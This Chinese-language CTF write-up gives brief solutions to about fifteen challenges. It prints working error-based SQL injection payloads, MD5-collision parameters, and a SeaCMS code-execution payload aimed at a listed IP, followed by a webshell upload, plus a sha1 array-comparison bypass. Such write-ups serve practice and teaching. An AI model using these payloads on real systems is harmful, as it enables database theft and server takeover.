由于時間關系大部分我只給出解題過程,圖就不貼了
1
試了一下發現union 不行,那就試試
報錯注入:
and 1=(updatexml(1,concat(0x3a,(select database())),1)) #
發現爆庫成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)) #
爆表成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)) #
爆列成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(flag) from flag)),1)) #
2
進入頁面,發現被base64了,解碼后,發現是JS加密,放入控制臺得到flag
3
頻譜轉換發現flag:....(一串字符) 但這并不是真正的flag,至于真正的flag我也沒找到
4
Base64很明顯,我們只需一直解碼即可,每組字數為55
。。。。
6
要計算,正則,得py得天下
7
。。。
8
你能解開這段密文嗎?
ASCII差值
根據密文:
s——{
Z——c
*——4
Z——e
g——s
'——4
d——r
b——f
g——l
[——a
`——g
9
。。。
10
。。。
11
抓包 發現隱藏的代碼這串呢?一上來就把你傳的參數轉化為string類型,所以用數組的方法是不行了。
只能是MD5碰撞了,就是不相同的字符恰好有著一樣的MD5。fastcoll_v1.0.0.5.exe工具可以給弄出來。
但是別忘了url
param1=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP¶m2=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
12
。。。
13
逆序解碼base64,發現是1,
14
發現是海洋CMS漏洞
搜索漏洞找了一個版本的
構造payload
http://47.103.43.235:84/search.php?searchtype=5&searchword=%7Bif%7Bsearchpage:year%7D&year=:e%7Bsearchpage:area%7D%7D&area=v%7Bsearchpage:letter%7D&letter=al%7Bsearchpage:lang%7D&yuyan=(join%7Bsearchpage:jq%7D&jq=($_P%7Bsearchpage:ver%7D&&ver=OST%5B9%5D))
上傳一句話,菜刀連接,
根目錄下發現flag文件
15
抓包發現,我們打開發現
分析代碼邏輯,發現POST了兩個字段name和password,獲得flag要求的條件是:name != password & sha1(name) == sha1(password),乍看起來這是不可能的,其實可以利用sha1()函數的漏洞來繞過。如果把這兩個字段構造為數組,如:?name[]=a&password[]=b,這樣在第一處判斷時兩數組確實是不同的,但在第二處判斷時由于sha1()函數無法處理數組類型,將報錯并返回false,if 條件成立,獲得flag。
經驗證md5()函數同樣存在此漏洞。